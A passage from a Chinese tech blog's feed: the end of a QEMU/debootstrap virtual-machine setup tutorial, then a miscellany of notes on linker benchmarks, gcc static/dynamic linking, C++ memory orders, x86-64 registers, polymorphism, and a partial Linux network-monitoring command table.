&lt;h2 id=&quot;8-shi-yong-vnclian-jie-dao-zheng-zai-yun-xing-de-xu-ni-ji-shi-li&quot;&gt;8. 使用VNC连接到正在运行的虚拟机实例&lt;&#x2F;h2&gt;
&lt;p&gt;首先启动一个虚拟机：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-system-x86_64 -name debian -vnc 172.16.56.199:0 -m 1024 -drive format=raw,index=2,file=debian.img -enable-kvm -daemonize
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来，就可以使用VNC客户端（例如VNC Viewer）连接&lt;code&gt;172.16.56.199:5900&lt;&#x2F;code&gt;来访问虚拟机了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;9-zong-jie&quot;&gt;9. 总结&lt;&#x2F;h2&gt;
&lt;p&gt;从零开始创建并运行一个虚拟机的步骤如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install -y debootstrap
qemu-img create -f raw debian.img 10G
modprobe nbd
qemu-nbd --format=raw --connect=&amp;#x2F;dev&amp;#x2F;nbd0 .&amp;#x2F;debian.img
sfdisk &amp;#x2F;dev&amp;#x2F;nbd0 &amp;lt;&amp;lt; EOF
,1024,82
;
EOF
mkswap &amp;#x2F;dev&amp;#x2F;nbd0p1
mkfs.ext4 &amp;#x2F;dev&amp;#x2F;nbd0p2
mount &amp;#x2F;dev&amp;#x2F;nbd0p2 &amp;#x2F;mnt
debootstrap --arch=amd64 --include=&amp;quot;openssh-server vim&amp;quot; stable &amp;#x2F;mnt http:&amp;#x2F;&amp;#x2F;httpredir.debian.org&amp;#x2F;debian&amp;#x2F;
mount --bind &amp;#x2F;dev &amp;#x2F;mnt&amp;#x2F;dev
chroot &amp;#x2F;mnt &amp;#x2F;bin&amp;#x2F;bash
mount -t proc none &amp;#x2F;proc
mount -t sysfs none &amp;#x2F;sys
apt install -y --force-yes linux-image-amd64 grub2
grub-install &amp;#x2F;dev&amp;#x2F;nbd0 --force
update-grub2
passwd # change password to root
echo &amp;quot;pts&amp;#x2F;0&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;securetty
systemctl set-default multi-user.target
echo &amp;quot;&amp;#x2F;dev&amp;#x2F;sda2 &amp;#x2F; ext4 defaults,discard 0 0&amp;quot; &amp;gt; &amp;#x2F;etc&amp;#x2F;fstab
umount &amp;#x2F;proc &amp;#x2F;sys &amp;#x2F;dev
exit
grub-install &amp;#x2F;dev&amp;#x2F;nbd0 --root-directory=&amp;#x2F;mnt --modules=&amp;quot;biosdisk part_msdos&amp;quot; --force
sed -i &amp;#x27;s&amp;#x2F;nbd0p2&amp;#x2F;sda2&amp;#x2F;g&amp;#x27; &amp;#x2F;mnt&amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg
umount &amp;#x2F;mnt
qemu-nbd --disconnect &amp;#x2F;dev&amp;#x2F;nbd0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;can-kao-wen-xian&quot;&gt;参考文献&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.qemu.org&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.qemu.org&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;qemu-project&#x2F;qemu.git&quot;&gt;https:&#x2F;&#x2F;gitlab.com&#x2F;qemu-project&#x2F;qemu.git&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;download.qemu.org&#x2F;&quot;&gt;https:&#x2F;&#x2F;download.qemu.org&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;KVM Virtualization Cookbook&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;PacktPublishing&#x2F;KVM-Virtualization-Cookbook.git&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;PacktPublishing&#x2F;KVM-Virtualization-Cookbook.git&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man4&#x2F;loop.4.html&quot;&gt;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man4&#x2F;loop.4.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.centos.org&#x2F;centos&#x2F;7&#x2F;images&#x2F;CentOS-7-x86_64-GenericCloud.qcow2.xz&quot;&gt;https:&#x2F;&#x2F;cloud.centos.org&#x2F;centos&#x2F;7&#x2F;images&#x2F;CentOS-7-x86_64-GenericCloud.qcow2.xz&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;50460919&quot;&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;50460919&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Network_block_device&quot;&gt;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Network_block_device&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikibooks.org&#x2F;wiki&#x2F;QEMU&#x2F;Installing_QEMU&quot;&gt;https:&#x2F;&#x2F;en.wikibooks.org&#x2F;wiki&#x2F;QEMU&#x2F;Installing_QEMU&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>笔记杂项（note 目录图文存档）</title>
        <published>2024-01-05T00:00:00+00:00</published>
        <updated>2024-01-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/note-misc/"/>
        <id>https://vercel.juzhong.asia/obsidian/note-misc/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/note-misc/">&lt;h1 id=&quot;bi-ji-za-xiang-note-mu-lu-tu-wen-cun-dang&quot;&gt;笔记杂项（note 目录图文存档）&lt;&#x2F;h1&gt;
&lt;p&gt;obsidian 笔记库 &lt;code&gt;note&#x2F;&lt;&#x2F;code&gt; 目录遗留的 6 张截图，统一收录在本页并附文字转录。各图在专题文章中另有归属（处理决策见&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;migration-log&#x2F;&quot;&gt;迁移说明&lt;&#x2F;a&gt;），本页保证内容自洽、可独立检索。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gem5-chang-jing-xia-ge-lian-jie-qi-lian-jie-hao-shi-dui-bi&quot;&gt;gem5 场景下各链接器链接耗时对比&lt;&#x2F;h2&gt;
&lt;p&gt;原文结论：在 gem5 场景下推荐使用 &lt;code&gt;mold&lt;&#x2F;code&gt; 链接器；链接器的选择对构建耗时的影响比存储位置（NFS vs 本地 SSD）更显著。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;note-misc&#x2F;gem5-linker-benchmark.png&quot; alt=&quot;gem5 场景下 ld&#x2F;bfd&#x2F;lld&#x2F;gold&#x2F;mold 链接耗时对比（NFS 与本地 SSD）&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;文字转录（时间为 mm:ss 格式）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;链接器&lt;&#x2F;th&gt;&lt;th&gt;NFS + all m5&lt;&#x2F;th&gt;&lt;th&gt;NFS + last few&lt;&#x2F;th&gt;&lt;th&gt;Local SSD + all m5&lt;&#x2F;th&gt;&lt;th&gt;Local SSD + last few&lt;&#x2F;th&gt;&lt;th&gt;Local SSD + -j48 + last few&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;ld&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;3:29.19&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;3:08.31&lt;&#x2F;td&gt;&lt;td&gt;3:00.15&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;bfd&lt;&#x2F;td&gt;&lt;td&gt;4:15.82&lt;&#x2F;td&gt;&lt;td&gt;3:32.13&lt;&#x2F;td&gt;&lt;td&gt;3:39.70&lt;&#x2F;td&gt;&lt;td&gt;3:02.15&lt;&#x2F;td&gt;&lt;td&gt;3:02.35&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;lld&lt;&#x2F;td&gt;&lt;td&gt;2:16.22&lt;&#x2F;td&gt;&lt;td&gt;1:54.25&lt;&#x2F;td&gt;&lt;td&gt;1:52.94&lt;&#x2F;td&gt;&lt;td&gt;1:13.12&lt;&#x2F;td&gt;&lt;td&gt;1:13.16&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;gold&lt;&#x2F;td&gt;&lt;td&gt;2:30.98&lt;&#x2F;td&gt;&lt;td&gt;1:43.59&lt;&#x2F;td&gt;&lt;td&gt;1:59.41&lt;&#x2F;td&gt;&lt;td&gt;1:19.86&lt;&#x2F;td&gt;&lt;td&gt;1:19.48&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;mold&lt;&#x2F;td&gt;&lt;td&gt;1:48.62&lt;&#x2F;td&gt;&lt;td&gt;1:07.08&lt;&#x2F;td&gt;&lt;td&gt;1:08.18&lt;&#x2F;td&gt;&lt;td&gt;0:28.23&lt;&#x2F;td&gt;&lt;td&gt;0:27.89&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;要点：&lt;code&gt;mold&lt;&#x2F;code&gt; 比 &lt;code&gt;ld&lt;&#x2F;code&gt; 快约 6 倍（Local SSD + -j48 场景 3:00 → 0:28）；本地 SSD 相比 NFS 带来约 2 倍提升；并行（-j48）对 &lt;code&gt;mold&lt;&#x2F;code&gt; 收益明显。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gcc-wl-bstatic-bdynamic-hun-he-lian-jie&quot;&gt;gcc &lt;code&gt;-Wl,-Bstatic&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;-Bdynamic&lt;&#x2F;code&gt; 混合链接&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;gcc&lt;&#x2F;code&gt; 通过 &lt;code&gt;-Wl&lt;&#x2F;code&gt; 向链接器 &lt;code&gt;ld&lt;&#x2F;code&gt; 传参：&lt;code&gt;-Bstatic&lt;&#x2F;code&gt; 强制其后的库按静态链接，&lt;code&gt;-Bdynamic&lt;&#x2F;code&gt; 强制按动态链接。部分静态、部分动态链接的写法：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 静态链接 libA.a，同时动态链接 libB.so
gcc ... -Wl,-Bstatic -lA -Wl,-Bdynamic -lB ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;规则要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;链接方式标记&lt;strong&gt;影响其后所有的 &lt;code&gt;-l&lt;&#x2F;code&gt; 库&lt;&#x2F;strong&gt;，直到出现下一个标记为止。例如 &lt;code&gt;... -Wl,-Bstatic -lA -Wl,-Bdynamic -lB ... -lC&lt;&#x2F;code&gt; 中，&lt;code&gt;libC&lt;&#x2F;code&gt; 没有跟随标记，将按默认方式（动态）链接；&lt;&#x2F;li&gt;
&lt;li&gt;前提是 &lt;code&gt;-L&lt;&#x2F;code&gt; 搜索路径中能找到对应版本的库；&lt;&#x2F;li&gt;
&lt;li&gt;不指定任何标记时，&lt;code&gt;gcc&lt;&#x2F;code&gt; 默认&lt;strong&gt;优先动态链接&lt;&#x2F;strong&gt;：若同时存在 &lt;code&gt;libc.so&lt;&#x2F;code&gt; 与 &lt;code&gt;libc.a&lt;&#x2F;code&gt;，会链接 &lt;code&gt;.so&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;截图与英文原文讨论见 &lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;telling-gcc-directly-to-link-a-library-statically&#x2F;&quot;&gt;Telling gcc directly to link a library statically&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;c-liu-chong-memory-order-nei-cun-xu&quot;&gt;C++ 六种 memory_order 内存序&lt;&#x2F;h2&gt;
&lt;p&gt;C++11 &lt;code&gt;&amp;lt;atomic&amp;gt;&lt;&#x2F;code&gt; 中 &lt;code&gt;memory_order&lt;&#x2F;code&gt; 枚举的六个值及定义规则：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;枚举值&lt;&#x2F;th&gt;&lt;th&gt;定义规则&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;memory_order_relaxed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;不对执行顺序做任何保证&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;memory_order_consume&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;本线程中，所有后续的有关本原子类型的操作，必须在本条原子操作完成之后执行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;memory_order_acquire&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;本线程中，所有后续的读操作必须在本条原子操作完成后执行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;memory_order_release&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;本线程中，所有之前的写操作完成后才能执行本条原子操作&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;memory_order_acq_rel&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;同时包含 &lt;code&gt;memory_order_acquire&lt;&#x2F;code&gt; 和 &lt;code&gt;memory_order_release&lt;&#x2F;code&gt; 标记&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;memory_order_seq_cst&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全部存取都按顺序执行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;要点：&lt;code&gt;acquire&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;release&lt;&#x2F;code&gt; 是最常用、最重要的组合，理解它们后其余内存序才好理解；&lt;code&gt;consume&lt;&#x2F;code&gt; 在实践中普遍被实现为 &lt;code&gt;acquire&lt;&#x2F;code&gt;（C++17 起建议暂时弃用）；需要全局顺序一致时用 &lt;code&gt;seq_cst&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;延伸阅读：&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E3%80%81%E5%8E%9F%E5%AD%90%E5%8F%98%E9%87%8F%E3%80%81%E5%86%85%E5%AD%98%E9%A1%BA%E5%BA%8F&#x2F;&quot;&gt;线程安全、原子变量、内存顺序&lt;&#x2F;a&gt;、&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;06&#x2F;%E5%86%85%E5%AD%98%E9%A1%BA%E5%BA%8F-Memory-Order&#x2F;&quot;&gt;内存顺序 Memory Order&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;x86-64-tong-yong-ji-cun-qi-yu-caller-callee-save&quot;&gt;x86-64 通用寄存器与 Caller&#x2F;Callee Save&lt;&#x2F;h2&gt;
&lt;p&gt;x86-64 共 16 个 64 位通用寄存器，用途与保存责任（System V AMD64 ABI）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;寄存器&lt;&#x2F;th&gt;&lt;th&gt;Callee Save&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%rax&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;返回值寄存器；&lt;code&gt;idiv&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;imul&lt;&#x2F;code&gt; 也使用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%rbx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;通用寄存器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%rcx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;第 4 参数寄存器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%rdx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;第 3 参数寄存器；&lt;code&gt;idiv&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;imul&lt;&#x2F;code&gt; 也使用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%rsp&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;栈指针&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%rbp&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;帧指针&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%rsi&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;第 2 参数寄存器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%rdi&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;第 1 参数寄存器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%r8&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;第 5 参数寄存器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%r9&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;第 6 参数寄存器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%r10&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;通用寄存器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%r11&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;通用寄存器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;%r12&lt;&#x2F;code&gt;~&lt;code&gt;%r15&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;通用寄存器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;%rax&lt;&#x2F;code&gt; 存函数返回值；&lt;code&gt;imul&lt;&#x2F;code&gt; 两个 64 位相乘最多产生 128 位结果，需要 &lt;code&gt;%rax&lt;&#x2F;code&gt; 与 &lt;code&gt;%rdx&lt;&#x2F;code&gt; 共同存储，&lt;code&gt;idiv&lt;&#x2F;code&gt; 的 128 位被除数同理；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;%rsp&lt;&#x2F;code&gt; 指向栈顶，&lt;code&gt;push&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;pop&lt;&#x2F;code&gt; 通过改变 &lt;code&gt;%rsp&lt;&#x2F;code&gt; 实现进栈出栈；&lt;code&gt;%rbp&lt;&#x2F;code&gt; 标识当前栈帧起始位置；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;%rdi&lt;&#x2F;code&gt;、&lt;code&gt;%rsi&lt;&#x2F;code&gt;、&lt;code&gt;%rdx&lt;&#x2F;code&gt;、&lt;code&gt;%rcx&lt;&#x2F;code&gt;、&lt;code&gt;%r8&lt;&#x2F;code&gt;、&lt;code&gt;%r9&lt;&#x2F;code&gt; 依次传递前 6 个整型参数；&lt;&#x2F;li&gt;
&lt;li&gt;Caller Save 与 Callee Save 的区别：标记为 Caller Save 的寄存器，调用方在发起调用前负责压栈保存；标记为 Callee Save 的寄存器，被调用方若要覆盖，必须先保存、返回前恢复，调用方可放心跨调用持有其值。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;截图出处与上下文：&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;&quot;&gt;实现一个简单的 CRT（issue24 系列合集）&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;san-chong-duo-tai-yu-ad-hoc-duo-tai&quot;&gt;三种多态与 Ad-hoc 多态&lt;&#x2F;h2&gt;
&lt;p&gt;《Rust 编程之道》提到三种多态形式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;参数化多态&lt;&#x2F;strong&gt;（Parametric polymorphism）：同一代码作用于任意类型，行为一致，对应 Rust 的泛型；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Ad-hoc 多态&lt;&#x2F;strong&gt;（Ad-hoc polymorphism）：同一函数名针对不同类型有不同实现，按调用时的类型选择，对应 Rust 的 trait（及 C++ 的重载&#x2F;特化）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;子类型多态&lt;&#x2F;strong&gt;（Subtype polymorphism）：子类型实例可用于任何需要父类型的位置，对应 trait 对象（&lt;code&gt;dyn Trait&lt;&#x2F;code&gt;）&#x2F;继承体系。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&quot;Ad hoc&quot; 是拉丁语常用短语，意为&quot;特设的、特定目的的、即席的、临时的、将就的、专案的&quot;，形容为某个特定问题、任务而专门设定的东西。中文直译&quot;特设多态&quot;很少见，书籍多保留原文，因此这个概念初见时容易困惑。&lt;&#x2F;p&gt;
&lt;p&gt;相关讨论见&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%B3%9B%E5%9E%8B%E7%89%B9%E5%8C%96-specialization&#x2F;&quot;&gt;泛型特化 Specialization&lt;&#x2F;a&gt;（特化即 Ad-hoc 多态范畴内的按类型定制）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;linux-wang-luo-jian-kong-ming-ling-su-cha-an-osi-fen-ceng&quot;&gt;Linux 网络监控命令速查（按 OSI 分层）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;note-misc&#x2F;linux-network-monitoring-commands-osi.jpg&quot; alt=&quot;Linux 网络监控命令速查表（按 OSI 二&#x2F;三&#x2F;四层分类）&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;文字转录：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;层&lt;&#x2F;th&gt;&lt;th&gt;命令&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;L4 传输层&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ss&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;netstat&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;tcp&#x2F;udp 连接统计&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;iperf&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;测量瓶颈带宽&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;netperf&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;测量带宽&#x2F;延迟&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;nc&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;读写网络连接&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tcptrack&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;排查 TCP 专项问题&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;lsof&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查看 tcp&#x2F;udp 的进程占用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ngrep&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;按四层过滤分析载荷&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;L3 网络层&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;traceroute&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;发现到目标主机的路由路径&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ping&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;测试 IP 层连通性&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;mtr&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;traceroute 与 ping 的结合&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;iftop&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;测量 IP 层吞吐&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
